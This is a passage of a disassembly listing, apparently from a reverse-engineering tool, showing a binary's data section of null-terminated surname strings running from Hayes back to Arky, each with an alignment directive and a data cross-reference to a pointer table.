10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3F4o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E3F0o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3ECo align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3E8o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3E4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3E0o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3DCo aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3D8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E3D4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E3D0o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042E3CCo aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E3C8o aHand db 'Hand',0 ; DATA XREF: ___:0042E3C4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E3C0o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E3BCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E3B8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E3B4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E3B0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E3ACo aHaley db 'Haley',0 ; DATA XREF: ___:0042E3A8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E3A4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042E3A0o aHaar db 'Haar',0 ; DATA XREF: ___:0042E39Co align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042E398o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042E394o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E390o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E38Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E388o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042E384o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E380o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E37Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E378o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E374o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E370o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E36Co aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E368o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E364o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E360o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E35Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E358o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E354o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E350o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E34Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E348o aGist db 'Gist',0 ; DATA XREF: ___:0042E344o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E340o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042E33Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042E338o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E334o aGibson db 'Gibson',0 ; DATA XREF: ___:0042E330o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E32Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E328o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E324o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E320o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E31Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042E318o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E314o aGarman db 'Garman',0 ; DATA XREF: ___:0042E310o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E30Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042E308o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E304o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E300o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2FCo align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2F8o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2F4o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042E2F0o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2ECo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2E8o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042E2E4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2E0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2DCo aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2D8o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E2D4o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042E2D0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E2CCo align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042E2C8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E2C4o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042E2C0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E2BCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E2B8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042E2B4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042E2B0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042E2ACo aFortes db 'Fortes',0 ; DATA XREF: ___:0042E2A8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042E2A4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042E2A0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042E29Co align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042E298o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E294o aFisk db 'Fisk',0 ; DATA XREF: ___:0042E290o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E28Co aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E288o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E284o aFink db 'Fink',0 ; DATA XREF: ___:0042E280o align 10h aField db 'Field',0 ; DATA XREF: ___:0042E27Co align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042E278o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E274o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E270o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E26Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E268o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042E264o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E260o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E25Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E258o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042E254o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E250o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042E24Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042E248o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042E244o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E240o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E23Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E238o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042E234o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E230o aEverett db 'Everett',0 ; DATA XREF: ___:0042E22Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E228o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042E224o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042E220o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E21Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042E218o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042E214o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042E210o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042E20Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042E208o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E204o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E200o aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1FCo align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1F8o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1F4o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1F0o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1ECo aEdward db 'Edward',0 ; DATA XREF: ___:0042E1E8o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042E1E4o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042E1E0o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1DCo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1D8o aEardley db 'Eardley',0 ; DATA XREF: ___:0042E1D4o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E1D0o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042E1CCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E1C8o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E1C4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E1C0o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E1BCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E1B8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042E1B4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042E1B0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042E1ACo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042E1A8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042E1A4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E1A0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042E19Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E198o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E194o aDockery db 'Dockery',0 ; DATA XREF: ___:0042E190o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E18Co aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E188o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E184o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E180o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E17Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E178o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042E174o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E170o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E16Co aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E168o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042E164o aDenham db 'Denham',0 ; DATA XREF: ___:0042E160o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042E15Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E158o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042E154o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042E150o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042E148o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E144o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E140o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E13Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042E138o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E134o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E130o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E128o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E124o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E120o aDavid db 'David',0 ; DATA XREF: ___:0042E11Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E118o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E114o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042E110o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042E108o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042E104o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E100o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0FCo aDaly db 'Daly',0 ; DATA XREF: ___:0042E0F8o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0F4o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0F0o aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0ECo align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0E8o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0E4o align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0E0o aCui db 'Cui',0 ; DATA XREF: ___:0042E0DCo aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0D8o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E0D4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E0D0o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E0CCo aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E0C8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E0C4o aCounter db 'Counter',0 ; DATA XREF: ___:0042E0C0o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E0BCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042E0B8o aCorey db 'Corey',0 ; DATA XREF: ___:0042E0B4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042E0B0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E0ACo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042E0A8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042E0A4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042E09Co ; ___:0042E0A0o aCollis db 'Collis',0 ; DATA XREF: ___:0042E098o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042E094o aColella db 'Colella',0 ; DATA XREF: ___:0042E090o aColdren db 'Coldren',0 ; DATA XREF: ___:0042E08Co aCoito db 'Coito',0 ; DATA XREF: ___:0042E088o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E084o aClow db 'Clow',0 ; DATA XREF: ___:0042E080o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042E07Co aClement db 'Clement',0 ; DATA XREF: ___:0042E078o aClark db 'Clark',0 ; DATA XREF: ___:0042E074o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042E070o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E06Co aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E068o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042E064o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E060o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042E05Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E058o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042E054o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E050o aChristie db 'Christie',0 ; DATA XREF: ___:0042E04Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E048o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042E044o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E040o aChinman db 'Chinman',0 ; DATA XREF: ___:0042E03Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E038o aChilds db 'Childs',0 ; DATA XREF: ___:0042E034o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042E030o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042E02Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042E028o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042E024o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042E020o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042E01Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042E018o aChapman db 'Chapman',0 ; DATA XREF: ___:0042E014o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042E010o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042E00Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042E008o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042E004o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042E000o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFFCo align 10h aCase db 'Case',0 ; DATA XREF: ___:0042DFF8o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFF4o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFF0o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DFECo align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFE8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFE4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFE0o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFDCo align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFD8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DFD4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DFD0o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DFCCo aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DFC8o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DFC4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DFC0o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DFBCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DFB8o aCanley db 'Canley',0 ; DATA XREF: ___:0042DFB4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DFB0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DFACo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DFA8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042DFA4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DFA0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF9Co align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF98o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF94o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF90o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DF8Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF88o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DF84o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF80o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF7Co aBudding db 'Budding',0 ; DATA XREF: ___:0042DF78o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF74o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF70o aBrook db 'Brook',0 ; DATA XREF: ___:0042DF6Co align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042DF68o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DF64o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF60o aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF5Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF58o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF50o ; ___:0042DF54o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF4Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF48o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042DF44o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF40o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF3Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF38o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DF34o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DF30o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DF2Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DF28o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DF24o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DF20o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DF1Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042DF18o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DF14o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DF10o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DF0Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DF08o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042DF04o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DF00o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042DEFCo align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DEF8o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEF4o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DEF0o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEECo align 10h aBook db 'Book',0 ; DATA XREF: ___:0042DEE8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEE4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEE0o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEDCo align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DED8o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042DED4o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DED0o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042DECCo align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DEC8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DEC4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DEC0o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DEBCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DEB8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DEB4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DEB0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042DEACo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DEA8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DEA4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DEA0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE9Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE98o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE94o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE90o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DE8Co aBinion db 'Binion',0 ; DATA XREF: ___:0042DE88o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE84o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE80o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE7Co aBetti db 'Betti',0 ; DATA XREF: ___:0042DE78o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE74o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE70o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE6Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE68o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE64o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE60o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE5Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE58o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE54o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE50o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE4Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE48o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE44o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE40o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE3Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE38o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DE34o aBeder db 'Beder',0 ; DATA XREF: ___:0042DE30o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DE2Co aBean db 'Bean',0 ; DATA XREF: ___:0042DE28o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042DE24o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DE20o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042DE1Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DE18o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DE14o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DE10o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DE0Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DE08o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DE04o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DE00o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDFCo aBarry db 'Barry',0 ; DATA XREF: ___:0042DDF8o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDF4o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDF0o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDECo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDE8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDE4o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDE0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDDCo align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDD8o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DDD4o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DDD0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DDCCo align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DDC8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DDC4o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DDC0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DDBCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042DDB8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DDB4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DDB0o aBady db 'Bady',0 ; DATA XREF: ___:0042DDACo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042DDA8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DDA4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DDA0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD9Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD98o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD94o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD90o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD8Co aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD88o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD84o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD80o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DD7Co align 4 